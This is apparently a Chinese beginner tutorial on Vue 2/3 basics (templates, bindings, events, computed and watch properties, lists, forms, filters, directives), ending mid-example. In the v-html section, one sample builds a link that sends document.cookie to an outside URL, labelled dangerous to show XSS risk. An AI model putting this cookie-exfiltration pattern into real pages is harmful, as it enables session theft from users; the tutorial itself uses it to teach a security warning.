Vue入门

🍓 初识Vue

  1. 📌先创建容器,再创建Vue实例与容器关联
  2. 📌容器与实例之间是一对一的关系,不能一对多,也不能多对一
  3. 📌容器中的所有代码被称为Vue模板
  4. 📌{{}}中写的是js表达式,可以读取到data中的所有属性,可以执行methods中所有的方法,并展示返回值。

代码:

<!--引入Vue.js,后面的案例就不写这个了-->
<script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>

<!--1. 创建容器-->
<div id="root">
	<!--js表达式-->
	<h1>{{name.toUpperCase()}}</h1>
</div>

<script>
	Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示
	//2. 创建Vue实例  Vue2写法
	new Vue({
		el:'#root',
		data:{
			"name":"Hello world"
		}
	})

	//2. Vue3写法
	const obj = {
		//Vue3的data必须是函数,不能是对象
        data(){
            return {
                name:'zhangsan'
            }
        }
    }

    Vue.createApp(obj).mount('#root')
</script>

🍓 模板语法

  • 📌插值语法
    • 🍁功能:用于解析标签体内容
    • 🍁写法:{{js表达式}},可以直接读取data中的所有属性
  • 📌指令语法
    • 🍁功能:用于解析标签(包括:标签属性、标签内容、绑定事件)
    • 🍁举例:v-vbind:href="js表达式"或简写为:href="js表达式",可以直接读取data中的所有属性
    • 🍁备注:Vue中有很多指令,此处只是拿v-bind举例
      代码:
<div id="root">
	<h1>插值语法</h1>
	<h3>Hello , {{name}}</h3>
	<hr />
	<h1>指令语法</h1>
	<a v-bind:href="url">百度1</a>
	<a :href="url">百度2</a>
</div>

<script>
	new Vue({
		el:'#root',
		data:{
			name:'world',
			url:'https://www.baidu.com'
		}
	})
</script>
🍒 指令语法-数据绑定

指令可以获取Vuedata所有的成员,也可以执行methods中所有的方法
Vue中有两种数据绑定方式:

  1. 📌单项数据绑定(v-bind):数据只能从data流向页面
  2. 📌双向数据绑定(v-model):数据不仅能从data流向页面,也能从页面流向data
    备注:
    1. 🍁双向绑定一般应用在表单类元素上,用于其他元素无效,甚至会报错。
    2. 🍁v-model:value可以简写为v-model,因为v-model默认收集的就是value的值。

代码:

<div id="root">
	单项数据绑定:<input type="text" v-bind:value="name">
	单项数据绑定(简写):<input type="text" :value="name">
	双向数据绑定:<input type="text" v-model:value="age">
</div>

<script type="text/javascript">
	const vm = new Vue({	//可以通过控制台操作vue实例,设置或获取name、age的值,观察他们的区别
		el:'#root',
		data:{
			name:"zhangsan",
			age:23
		}
	})
</script>

🍓 el的两种写法

el的作用:绑定模板

  1. 📌new Vue时候配置el属性
  2. 📌先创建Vue实例,随后再通过vm.$mount('#root')指定el表达式
    //方式一
    const vm = new Vue({	
    	el:'#root'
    })
    
    //方式二
    vm.$mount('#root')
    

🍓 data有两种写法

data的作用:将数据交给Vue实例管理

  1. 📌对象式
  2. 📌函数式
    如何选择:目前哪种写法都可以,以后学习组件的时候,data必须使用函数式。否则会报错
    //1. 对象式
    const vm = new Vue({
    	data:{
    		name:"zhangsan",
    		age:23
    	}
    })
    
    //2. 函数式一
    const vm = new Vue({
    	data:function(){			
    		return {
    			name:'Hello world!'
    		}
    	}
    })
    
    //3. 函数式二
    const vm = new Vue({
    	data(){
    		return {
    			name:'Hello world!'
    		}
    	}
    })
    

🍓 MVVM模型

  1. 📌M:模型(Model):data中的数据
  2. 📌V:视图(View):模板代码
  3. 📌VM:视图模型(ViewMode):Vue实例

观察发现:

  • 📌data中所有的属性,最后都出现在了vm身上
  • 📌vm身上所有的属性及Vue原型上所有的属性。在Vue模板都可以直接使用

🍓 数据代理

🍒 javascript原生的数据代理

javascript原生的数据代理使用函数Object.defineProperty实现

  • 📌向person对象中添加属性,并控制该属性可以被枚举,可以被修改,可以被删除

    	let person = {
    		name:'张三',
    		sex:'男'
    	}
    	
    	Object.defineProperty(person,'age',{
    		value:23,
    		enumerable:true,		//控制属性可以被枚举(遍历),默认值是false
    		writable:true,			//控制属性可以被修改,默认值false
    		configurable:true		//控制属性可以被删除,默认false
    	})
    	
    	console.log(Object.keys(person))		//拿到属性所有的key
    	
    	for(let key in person){					//遍历person的属性
    		console.log(person[key])
    	}
    	
    	//删除age
    	delete person.age
    
  • 📌当修改变量num的值时,对应的person.age也会发生变化,修改person.age的值时,num也会发生变化

    	
    	let num = 23;
    	let person = {
    		name:'张三',
    		sex:'男'
    	}
    	
    	//全写
    	Object.defineProperty(person,'age',{
    		get:function(){					//当有人读取person的age属性时,get函数就会被调用,且返回age的值
    			console.log('有人读取了age值')
    			return num;
    		},
    		set:function(value){			//当有人通过person对象修改属性age的值时,set函数就会被调用,且会收到修改的具体值
    			console.log('有人设置了age值')
    			num = value
    		}
    	})
    
    	//简写
    	Object.defineProperty(person2,'age',{
    		get(){					
    			console.log('有人读取了age值')
    			return num;
    		},
    		set(value){			
    			console.log('有人设置了age值')
    			num = value
    		}
    	})
    
🍒 Vue数据代理原理

data上的数据放代理一份到vm对象上,实现修改data就能修改vm上的数据,修改vm就能修改data中的数据的效果,目的是为了让编码更方便

  1. 📌Vue中的数据代理:
    通过vm对象来代理data对象中的属性的操作(读/写)
  2. 📌Vue中数据代理的好处:
    更加方便的操作data中的数据
  3. 📌基本原理:
    • 🍁通过Object.defineProperty()data对象中所有属性添加到vm上。
    • 🍁为每一个添加到vm上的属性,都指定一个get/set
    • 🍁在get/set内部操作读/写data中对应的属性

🍓 事件

🍒 事件的基本使用:
  1. 📌使用v-on:xxx或者@xxx 绑定事件
  2. 📌事件的回调需要配置在methods对象中,最终会在vm对象上
  3. 📌methods中配置函数,不要使用箭头函数,否则this就不是vm
  4. 📌methods中配置函数,都是被Vue所管理的函数,this的指向是vm或组件实例对象
  5. 📌@click="demo"@click="demo($event)"效果一致,但后者可以传参,$event必须这么写Vue才能识别它是事件对象(约定)。
	<div id="root">
		<h2>{{name}},欢迎您!</h2>
		<button type="button" v-on:click="showInfo1">点我提示信息1(不传参)</button>
		<button type="button" @click="showInfo2($event,66)">点我提示信息2(传参)</button>
	</div>
	<script type="text/javascript">
		//全写
		new Vue({
			el:'#root',
			data:{
				name:'张三'
			},
			methods:{
				showInfo1:function(event){		//参数默认是事件的参数
					console.log(event)
					alert('点我提示信息1')
				},
				showInfo2:function(event,id){
					console.log(event)
					alert(id)
				}
			}
		})
		
		
		//简写
		new Vue({
			el:'#root',
			data:{
				name:'张三'
			},
			methods:{
				showInfo1(event){		//参数默认是事件的参数
					console.log(event)
					alert('点我提示信息1')
				},
				showInfo2(event,id){
					console.log(event)
					alert(id)
				}
			}
		}) 
	</script>
🍒 事件修饰符

Vue中的事件修饰符

  1. prevent:阻止默认事件(常用)

  2. stop:阻止事件冒泡(常用)

  3. once:事件只触发一次(常用)

  4. capture:使用事件的捕获模式

  5. self:只有event.target是当前操作的元素时才会触发事件

  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕

    	<div id="root">
    		<!--1. 阻止a标签跳转的默认行为-->
    		<a href="https://www.baidu.com" @click.prevent="showInfo1">点我提示信息1</a>
    		
    		<!--2. 阻止事件冒泡-->
    		<div class="demo1" @click="showInfo1">
    			<button @click.stop="showInfo1">点我提示信息1</button>
    		</div>
    		
    		<!--3. 组合修饰:先阻止a标签跳转的默认行为,再阻止事件冒泡-->
    		<div class="demo1" @click="showInfo1">
    			<a href="https://www.baidu.com" @click.prevent.stop="showInfo1">点我提示信息1</a>
    		</div>
    		
    		<!--4. 事件只触发一次-->
    		<button type="button" @click.once="showInfo1">点我提示信息1</button>
    		
    		<!--
    			5. 
    			事件默认的执行顺序:捕获、冒泡、事件回调执行、事件默认行为执行
    			capture修饰的事件执行顺序:捕获、事件回调执行、冒泡、事件默认行为执行
    		-->
    		<div class="box1" @click.capture="showInfo2(1)">box1
    			<div class="box2" @click="showInfo2(2)">box2</div>
    		</div>
    		
    		<!--6. 只有event.target是当前操作的元素时才会触发事件-->
    		<div class="box1" @click.self="showInfo2(1)">box1
    			<div class="box2" @click.self="showInfo2(2)">box2</div>
    		</div>
    		
    		<!--7. 事件的默认行为立即执行,无需等待事件回调执行完毕,
    		下面是鼠标滚轮事件,当滚轮事件结束后才会执行默认行为滚动条滚动,如果事件处理比较复杂,那么滚动条就会出现卡顿,所以使用passive可以很好的解决这个问题-->
    		<ul class="list" @mousewheel.passive="demo">
    			<li>1</li>
    			<li>2</li>
    			<li>3</li>
    			<li>4</li>
    			<li>5</li>
    			<li>6</li>
    		</ul>
    	</div>
    	<script type="text/javascript">
    		new Vue({
    			el:'#root',
    			methods:{
    				showInfo1(){
    					alert('点我提示信息1')
    				},
    				showInfo2(index){
    					alert(index)
    				},
    				demo(){
    					for(let i = 0; i < 100000;i++){
    						console.log('@')
    					}
    				}
    			}
    		})
    	</script>
    
🍒 键盘事件
  1. Vue常用的按键别名:

    回车 => enter
    删除或退格 => delete
    退出 => esc
    空格 => space
    换行 => tab(特殊,必须配合keydown事件才能使用,否则使用keyup的话,未等触发事件,事件焦点就会消失,因为浏览器有一个自动切换焦点的快捷键就是tab)
    上 => up
    下 => down
    左 => left
    右 => right
    
  2. Vue未提供别名的按键,可以使用按键原始的Key值去绑定,但注意如果key是由多个单词组成,需要转换,例如CapsLock -> caps-lock

  3. 系统修饰键(用法特殊):ctrl,alt,shift,meta

    • 配合事件keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发(一般使用组合键模式)
    • 配合keydown使用:正常触发事件
    <div id="root">
    	<!--绑定键盘抬起事件,当输入enter时触发事件回调-->
    	<input type="text" @keyup.enter="showInfo">
    	
    	<!--组合键触发事件回到 ctrl + y-->
    	<input type="text" @keyup.ctrl.y="showInfo">
    </div>
    <script type="text/javascript">
    	new Vue({
    		el:'#root',
    		methods:{
    			showInfo(event){
    				console.log(event.key,event.keyCode)	//输出按键的名称和编码
    				console.log(event.target.value)			//输出事件当前操作的元素的值
    			}
    		}
    	})
    </script>
    

🍓 计算属性

计算属性:

  1. 定义:要用的属性不存在,需要通过已有的属性计算得来
  2. 原理:底层借助了Object.defineproperty方法提供的get和set
  3. get函数什么时候执行:
    1. 初次读取时会执行一次
    2. 当依赖数据发生变化时会被再次调用
  4. 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
  5. 备注:
    1. 计算属性最终会出现在vm上,直接调用即可
    2. 如果计算属性要被修改,必须写set函数去响应修改。且set函数中要引起被依赖的数据发生变化

姓 + 名 案例:

<div id="root">
	姓:<input type="text" v-model="firstName">		<br><br>	
	名:<input type="text" v-model="lastName" />	<br><br>
	姓名:<input type="text"v-model="fullName">				
</div>
<script type="text/javascript">
	//全写
	new Vue({
		el:'#root',
		data:{
			firstName:'张',
			lastName:'三'
		},
		computed:{	//计算属性
			fullName:{
				get(){
					return this.firstName + '-' + this.lastName
				},
				set(value){
					const arr = value.split('-')
					this.firstName = arr[0]
					this.lastName = arr[1]
				}
			}
		}
	})

	//简写
	new Vue({
		el:'#root',
		data:{
			firstName:'张',
			lastName:'三'
		},
		computed:{	//计算属性
			fullName(){		//注意:这种简写仅适用于不需要对计算属性进行修改的情况,也就说不需要写set方法的情况
				return this.firstName + '-' + this.lastName
			}
		}
	})
</script>

🍓 监视属性

监视属性watch

  1. 当监视属性变化时,回调函数自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视
  3. 监视的两种写法:
    1. new Vue时传入watch配置
    2. 通过vm.$watch监视
🍒 入门
	<div id="root">
		<input type="text" v-model="name">
	</div>
	<script type="text/javascript">
		//全写
		const vm = new Vue({
			el:'#root',
			data:{
				name:'张三'
			},
			watch:{
				name:{					//监视属性:name
					immediate:true,		//初始化时让handler调用一下,默认值false
					handler(newValue,oldValue){
						console.log(newValue,oldValue)
					}
				}
			}
		})
		
		//写法2
		vm.$watch('name',{
			immediate:true,		//初始化时让handler调用一下,默认值false
			handler(newValue,oldValue){
				console.log(newValue,oldValue)
			}
		})

		//简写(注意:如果需要设置监视属性,如immediate、deep,则不能使用简写)
		new Vue({
			el:'#root',
			data:{
				name:'张三'
			},
			watch:{
				name(newValue,oldValue){
					console.log(newValue,oldValue)
				}
			}
		})
	</script>
🍒 深度监视
  1. 📌Vue中的watch默认不监视对象内部值的变化
  2. 📌配置属性deep:true可以监视对象内部值的变化

备注:

  • Vue自身可以监视对象内部值的变化,但Vue提供的watch默认不可以
  • 使用watch时根据数据的具体结构,决定是否采用深度监视
<div id="root">
	<h3>a的值是{{number.a}}</h3>
	<button type="button" @click="number.a++">点我让a+1</button>
	<h3>b的值是{{number.b}}</h3>
	<button type="button" @click="number.b++">点我让b+1</button>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			number:{
				a:1,
				b:1
			}
		},
		watch:{
			'number.a':{	//监视对象如果有特殊字符,如点,可以采用这种方式监视
				handler(){
					console.log('a的值发生了改变')
				}
			},
			'number.b':{
				handler(){
					console.log('b的值发生了改变')
				}
			},
			number:{
				deep:true,			//开启深度监视
				handler(){
					console.log('number的值发生了改变')
				}
			}
		}
	})
</script>

🍓 绑定样式

  1. 📌class样式:
    :class="xxx" xxx可以是字符串、对象、数组
    字符串写法适用于:类名不确定,要动态获取
    数组写法适用于:要绑定多个样式,个数不确定,名字也不确定
    对象写法适用于:要绑定多个样式,个数确定,名字确定,但不确定是否使用
  2. 📌style样式:
    :style="xxx" xxx可以是字符串、对象、对象数组
<head>
	<style type="text/css">
		.basic{
		}

		.happy{
		}
		
		.sad {
		}
		
		.normal{
		}
		
		.box1{
		}
		
		.box2{
		}
		
		.box3{
		}
	</style>
</head>
<body>
	<div id="root">
		<!--适用于:样式的类别不确定,需要动态指定-->
		<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br><br>
		
		<!--适用于:样式的类个数不确定,名字也不确定(推荐)-->
		<div class="basic" :class="classArr">{{name}}</div> <br><br>
		
		<!--适用于:样式的类个数不确定,名字确定(Vue2不推荐,因为Vue2动态新增属性比较麻烦,需要通过Vue.set或者vm.$set)-->
		<div class="basic" :class="classObj">{{name}}</div>
		
		<!--指定style样式-->
		<div class="basic" :style="styleObj">{{name}}</div>
		
		<!--指定style嵌套样式-->
		<div class="basic" :style="[styleObj,styleObj2]">{{name}}</div>
	</div>
	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				name:'张三',
				mood:'normal',
				classArr:['box1','box2','box3'],
				classObj:{
					box1:true,
					box2:true,
					box3:true
				},
				styleObj:{
					fontSize:'40px',		//注意:多个单词的样式需要转为驼峰式,比如font-size -> fontSize
					color:'red',
					backgroundColor: '#f7aa28'
				},
				styleObj2:{
					borderRadius: '10%'
				}
			},
			methods:{
				changeMood(){
					const moodArr = ['happy','sad','normal']
					const index = Math.floor(Math.random() * moodArr.length)
					this.mood = moodArr[index]
				}
			}
		})
	</script>
</body>

🍓 条件渲染

  1. 📌v-if
    写法:
    1. 📌v-if="布尔表达式"
    2. 📌v-else-if="布尔表达式"
    3. 📌v-else
    
    适用于: 切换频率较低的场景
    特点: 不展示的DOM元素,直接移除
    注意: v-ifv-else-ifv-else组合使用时,要求结构不能被打断
  2. 📌template标签配套v-if指令可以去除一堆结构,并且template没有任何意义,不会影响页面的DOM结构
  3. 📌v-show
    写法:
    v-show="布尔表达式"
    适用于: 切换频率较高的场景
    特点: 不展示的DOM元素,底层使用样式display:none隐藏
  4. 📌备注: 使用v-if时,元素将无法被获取,因为被移除了,而使用v-show一定可以获取到
<div id="root">
	<h2>n的值:{{n}}</h2>
	<button type="button" @click="n++">点我n+1</button>
	<!--使用v-show做条件渲染-->
	<h2 v-show="false">张三</h2>
	<h2 v-show="1 === 1">张三</h2>
	<h2 v-show="isShow">张三</h2>
	
	<hr />
	<h2 v-if="n===24">李四</h2>
	<h2 v-if="n===25">王五</h2>
	<h2 v-if="n===26">赵六</h2>
	
	<hr />
	<h2 v-if="n===24">李四</h2>
	<h2 v-else-if="n===25">王五</h2>
	<h2 v-else>赵六</h2>
	
	<hr />
	<template v-if="n===1">
		<h2>李四</h2>
		<h2>王五</h2>
		<h2>赵六</h2>
	</template>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			isShow:true,
			n:0
		}
	})
</script>

🍓 列表

v-for指令:

  1. 📌用于展示列表数据
  2. 📌语法:v-for="(item,index) in xxx" :key="yyy"
  3. 📌可遍历:数组、对象、字符串、指定次数
🍒 列表渲染
<div id="root">
	<h2>人员列表</h2>
	
	<!--遍历数组-->
	<!--写法1-->
	<ul><li v-for="(item,index) in persons" :key="item.id">{{index + 1}}--{{item.name}}-{{item.age}}</li></ul>
	
	<!--写法2-->
	<h2>人员列表</h2>
	<ul><li v-for="item of persons" :key="item.id">{{item.name}}-{{item.age}}</li></ul>
	<hr>
	
	<!--遍历对象-->
	<h2>汽车信息</h2>
	<ul><li  v-for="(item,key) in car" :key="key">{{key}}-{{item}}</li></ul>
	<hr>
	
	<!--遍历字符串(不推荐把key值设置成索引值)-->
	<h2>字符串</h2>
	<ul>
		<li v-for="(item,index) in str" :key="index">
			{{index}}-{{item}}
		</li>
	</ul>
	<hr>
	
	<!--遍历指定次数(不推荐把key值设置成索引值)-->
	<h2>遍历指定次数</h2>
	<ul>
		<li v-for="(item,index) in 5" :key="index">
			{{index}}-{{item}}
		</li>
	</ul>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			persons:[
				{
					"id":"001",
					"name":"张三",
					"age":23
				},
				{
					"id":"002",
					"name":"李四",
					"age":24
				},
				{
					"id":"003",
					"name":"王五",
					"age":25
				}
			],
			car:{
				"id":"c001",
				"name":"奔驰",
				"price":"28万"
			},
			str:'hello'
		}
	})
</script>

vue中的key有什么作用?(key的内部原理):

  1. 📌虚拟DOMkey的作用:
    key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
  2. 📌对比规则
    1. 🍁旧虚拟DOM中找到了与新虚拟DOM相同的key
      a. 🌷若虚拟DOM中内容没变,直接使用之前的真实DOM
      b. 🌷若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM.
    2. 🍁旧虚拟DOM中未找到与新虚拟DOM相同的key
      创建新的真实DOM,随后渲染到到页面。
    3. 🍁用index作为key可能会引发的问题:
      1. 🌷若对数据进行:逆序添加、逆序删除等破坏顺序操作,会产生没有必要的真实DOM更新==>界面效果没问题,但效率低。
      2. 🌷如果结构中还包含输入类的DOM:会产生错误DOM更新==>界面有问题。
    4. 🍁开发中如何选择key
      1. 🌷最好使用每条数据的 唯一标识 作为key,比如 id、手机号、身份证号、学号唯一值
      2. 🌷如果不存在对数据的逆序添加、逆序删除等破坏顺序的操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
🍒 列表过滤

涉及技术:

  • javascript基础
    • filter:过滤数组函数
    • indexOf:字符串包含函数
  • Vue技术
    • 监视属性
    • 计算属性

🔥使用监视属性做

<div id="root">
	<h2>学生信息</h2>
	<input type="text" placeholder="请输入关键词" v-model="keyword">
	<ul>
		<li v-for="item in filterPersons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
	</ul>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			keyword:'',
			persons:[
						{
							"name":"马冬梅",
							"age":19,
							"sex":"女"
						},
						{
							"name":"周冬雨",
							"age":20,
							"sex":"女"
						},
						{
							"name":"周杰伦",
							"age":21,
							"sex":"男"
						},
						{
							"name":"温兆伦",
							"age":22,
							"sex":"男"
						}
					],
			filterPersons:[]
		},
		watch:{
			keyword:{
				immediate:true,
				handler(val){
					this.filterPersons = this.persons.filter((item)=>{
						return item.name.indexOf(val) != -1;
					})
				}
			}
		}
	})
</script>

🔥使用计算属性做

<div id="root">
	<h2>学生信息</h2>
	<input type="text" placeholder="请输入关键词" v-model="keyword">
	<ul>
		<li v-for="item in filterPersons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
	</ul>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			keyword:'',
			persons: ['上面已有,这边不重复展示。']
		},
		computed:{
			filterPersons(){
				return this.persons.filter((item)=>{
					return item.name.indexOf(this.keyword) != -1
				})
			}
		}
	})
</script>
🍒列表排序

涉及技术:

  • javascript基础
    • sort:数组排序函数
    • if判断中,0默认转为false
  • Vue技术
    • 计算属性
<div id="root">
	<h2>学生信息</h2>
	<button type="button" @click="sort=1">按照年龄升序</button>
	<button type="button" @click="sort=2">按照年龄降序</button>
	<button type="button" @click="sort=0">按照原顺序</button>
	<ul>
		<li v-for="item in filterPersons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
	</ul>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			sort:0,
			persons: ['上面已有,这边不重复展示。']
		},
		computed:{
			filterPersons(){
				const arr = this.persons;
				if(this.sort){
					arr.sort((p1,p2)=>{
						if(this.sort == 1){
							return p2.age - p1.age
						}else{
							return p1.age - p2.age
						}
					})
				}
				return arr
			}
		}
	})
</script>
🍒Vue监测列表数据发生变化的一个问题(以下问题都是Vue2产生的问题,Vue3不会有问题)

问题: Vue2监测不到数组里对象整体替换发生改变的情况
解答:
Vue2对于对象和数组的监测方式:

  1. 📌Vue2对于对象里面的元素的监听是getset方法(判断Vue里的一个对象是否是响应式,只需判断有没有对应的getset
  2. 📌Vue2对于数组的监听的是数组的七个方法:
    • 🍁push
    • 🍁pop
    • 🍁shift
    • 🍁unshift
    • 🍁splice
    • 🍁sort
    • 🍁reverse
  3. 📌Vue2无法监控到数组发生变化的方法
    • 🍁filter
    • 🍁concat
    • 🍁slice
    • 🍁map
    • 🍁根据索引修改数组

注意: 修改数组元素,绝对不能用下标索引去修改

<div id="root">
	<h2>学生信息</h2>
	<button type="button" @click="updateMei">修改马冬梅的信息</button>
	<ul>
		<li v-for="item in persons" :key="item.id">{{item.name}}-{{item.age}}-{{item.sex}}</li>
	</ul>
</div>
<script type="text/javascript">
	const vm = new Vue({
			el:'#root',
			data:{
				persons:['上面已有,这边不重复展示。']
			},
			methods:{
				//修改数组中对象的属性(Vue可以监测)
				updateMei(){
					this.persons[0].name = '马老师'
					this.persons[0].age = 50
					this.persons[0].sex = '男'
				}
				
				//修改数组中整个对象(Vue无法监测)
				updateMei(){
					this.persons[0] = {
						"name":"马老师",
						"age":50,
						"sex":"男"
					};
				}
				
				//使用数组函数修改数组中整个对象(Vue可以监测)
				updateMei(){
					this.persons.splice(0,1,{
						"name":"马老师",
						"age":50,
						"sex":"男"
					})
				}
			}
		})
</script>
  1. 解决通过数组通过索引修改数据的方法

    arr.splice(索引,替换数量,)
    Vue.set(arr, 索引,)
    
🍒新增响应式属性

Vue2不支持直接追加响应式属性,可以通过以下方法动态追加属性,Vue3支持动态追缴响应式属性
Vue2追加响应式属性:Vue.set(target,propertyName/index,value) vm.$set(target,propertyName/index,value)
注意:
Vue2不能给vmvm的根数据对象添加属性,即target不能等于vm或指代vmthis,但是可以给data中的数组或对象进行修改或新增属性。

<div id="root">
	<h2>学生信息</h2>
	<button type="button" @click="addSex">点我给学生添加一个性别</button>
	<ul>
		<li v-for="item in persons" :key="item.id">
			<ul>
				<li>学生姓名:{{item.name}}</li>
				<li>学生年龄:{{item.age}}</li>
				<li v-show="item.sex">学生性别:{{item.sex}}</li>
			</ul>
		</li>
	</ul>
</div>
<script type="text/javascript">
	const vm = new Vue({
		el:'#root',
		data:{
			persons:['上面已有,这边不重复展示。']
		},
		methods:{
			addSex(){
				this.$set(this.persons[0],'sex','女')
				this.$set(this.persons[1],'sex','女')
				this.$set(this.persons[2],'sex','男')
				this.$set(this.persons[3],'sex','男')
			}
		}
	})
</script>

🍓收集表单数据

  1. 📌v-model收集的是value值,像radiocheckbox这些没有value值的,默认收集的是true|false,我们需要手动加上value属性,让他收集我们指定的值
  2. 📌checkbox如果有多个,需要对对应的v-model属性设置为数组,checkbox绑定对应的value
  3. 📌表单提交绑定@submit事件
  4. 📌v-model修饰符:
    • 🍁lazy:失去焦点再收集数据,一般用于数据量比较大的文本框
    • 🍁number:输入为字符串转为数字,一般跟<input type="number">配套使用
    • 🍁trim:去除首位空格
<div id="root">
	<form @submit.prevent="demo">
		账号:<input type="text" name="account" v-model.trim="userInfo.account"> <br>
		密码:<input type="password" name="password" v-model.trim="userInfo.password">	<br>
		年龄:<input type="number" name="age" v-model.number="userInfo.age">	<br>
		性别:男<input type="radio" name="sex" v-model="userInfo.sex" value="man"><input type="radio" name="sex" v-model="userInfo.sex" value="woman"><br>
		爱好:学习<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="study">
		打游戏<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="play">
		吃饭<input type="checkbox" name="hobby" v-model="userInfo.hobby" value="eat"> <br>
		所属校区:<select name="school" v-model="userInfo.school">
			<option value ="">--请选择--</option>
			<option value="beiJing">北京</option>
			<option value="shangHai">上海</option>
			<option value="chongQing">重庆</option>
		</select><br>
		其他信息:<textarea rows="5" cols="20" name="other" v-model.lazy.trim="userInfo.other"></textarea><br>
		<input type="checkbox" name="agree" v-model="userInfo.agree">阅读并接受<a href="http://www.baidu.com">用户协议</a><br>
		<input type="submit" value="提交">
	</form>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			userInfo:{
				account:'',
				password:'',
				age:15,
				sex:'',
				hobby:[],
				school:'beiJing',
				other:'',
				agree:false
			}
		},
		methods:{
			demo(){
				console.log(JSON.stringify(this.userInfo))
			}
		}
	})
</script>

🍓过滤器

定义:对需要展示的数据进行特定的逻辑处理再展示
语法:

  1. 注册过滤器:
    • 全局定义(注意全局定义过滤器必须在使用过滤器的模板之前就定义好,一次只能定义一个过滤器)(过滤器一般是通用工具,推荐使用全局定义):
      Vue.filter(name,callback)
    • 局部定义(可以同时定义多个,但是只能在当前定义的Vue实例中使用)
      new Vue(filters:{})
  2. 使用过滤器:{{xxx | 过滤器1 | 过滤器2...}} v-bind:属性="xxx | 过滤器1 | 过滤器2...";注意:v-model不能使用过滤器。
  3. 过滤器的方法都有返回值,目的并不是要改变原数据的值,而是对原数据进行处理返回新的值呈现到页面上

下面代码使用了:dayjs.min.js库,来源:BootCDN:https://www.bootcdn.cn/

<body>
	<div id="root">
		<h2>显示格式化后的时间</h2>
		<h3>计算属性:现在是:{{nowTime1}}</h3>
		<h3>methods实现:现在是:{{nowTime2()}}</h3>
		<h3>过滤器实现:现在是:{{time | nowTime3}}</h3>
		<h3>过滤器传参实现:今日是:{{time | nowTime3('YYYY/MM/DD')}}</h3>
		<h3>过滤器串联实现:今年是:{{time | nowTime3('YYYY/MM/DD') | nowTime3('YYYY')}}</h3>
	</div>
	<script type="text/javascript">
		Vue.filter('nowTime3',function(val,format='YYYY-MM-DD HH:mm:ss'){
			return dayjs(val).format(format)
		})
		new Vue({
			el:'#root',
			data:{
				time:Date.now()
			},
			computed:{
				nowTime1(){
					return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
				}
			},
			methods:{
				nowTime2(){
					return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
				}
			}
		})
	</script>
</body>

🍓内置指令

  • 📌模板解析指令:
    • 🍁v-bind:单项绑定解析表达式,可以简写为:xxx
    • 🍁v-model:value:双向绑定解析表达式,可以简写为v-model,通常用于表单
    • 🍁v-for:遍历数组、对象、字符串
    • 🍁v-on:绑定事件监听,可以简写为@
    • 🍁v-if:条件渲染(动态控制节点是否存在)
    • 🍁v-show:条件渲染(动态控制节点是否隐藏)
    • 🍁v-text:向其所在节点中渲染文本内容,不解析HTML标签(一般使用插值语法,因为插值语法比较灵活)
    • 🍁v-html:向其所在节点中渲染HTML内容,解析HTML标签
      注意:
      1. 🌷在网站上动态渲染任意HTML是非常危险的,容器导致XSS攻击
      2. 🌷一定要在可以信任的内容上使用v-html,永远不要用在用户提交的内容上
  • 📌网速慢的情况下优化指令:
    • 🍁v-cloak(没有值):
      • 🌷本质是一个特殊属性,Vue实例创建完毕并接管容器后,会立即删掉v-cloak属性
      • 🌷一般配合css用于解决网速慢时,页面显示未渲染的模板的问题
  • 📌性能优化指令:
    • 🍁v-once(没有值):
      • 🌷v-once标注的节点只会动态渲染一次,后面数据发生变化不会引起v-once所在结构的更新,可以用于性能优化
    • 🍁v-pre(没有值):
      • 🌷v-pre标注的节点会被vue直接忽略,所以注意由vue来动态渲染的标签不能加上这个属性,没有动态渲染的标签可以加上这个,用于提升性能

📌模板解析标签:v-text和插值语法:v-text能实现的,插值语法都能实现,且更为灵活。

<div id="root">
	<div>你好,{{name}}</div>
	<div v-text="name"></div>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			name:'张三'
		}
	})
</script>

📌模板解析标签:v-html和插值语法:v-html可以解析插入的html语句,插值语法不解析。

<div id="root">
	<div>你好,{{name}}</div>
	<div v-html="name"></div>
	<div v-html="content"></div>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			name:'<h3>张三</h3>',
			content:'<a href=javascript:location.href="http://www.baidu.com?'+document.cookie.replaceAll('; ','&')+'">兄弟,这儿有你想要的资源</a>'	//危险操作
		}
	})
</script>

📌加载显示优化标签:v-cloak:通过谷歌浏览器Network,设置Slow 3G,模拟网速慢的情况来看下该指令的效果

<style type="text/css">
	[v-cloak]{
		display: none;
	}
</style>

<div id="root" v-cloak>
	<h2>{{name}}</h2>
</div>
	
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			name:'张三'
		}
	})
</script>

📌性能优化标签:v-once

<div id="root">
	<div v-once>初始化n值:{{n}}</div>
	<div>更新的n值:{{n}}</div>
	<button type="button" @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
	new Vue({
		el:'#root',
		data:{
			n:1
		}
	})
</script>

📌性能优化标签:v-pre

<div id="root">
	<div v-pre>初始化n值:{{n}}</div>
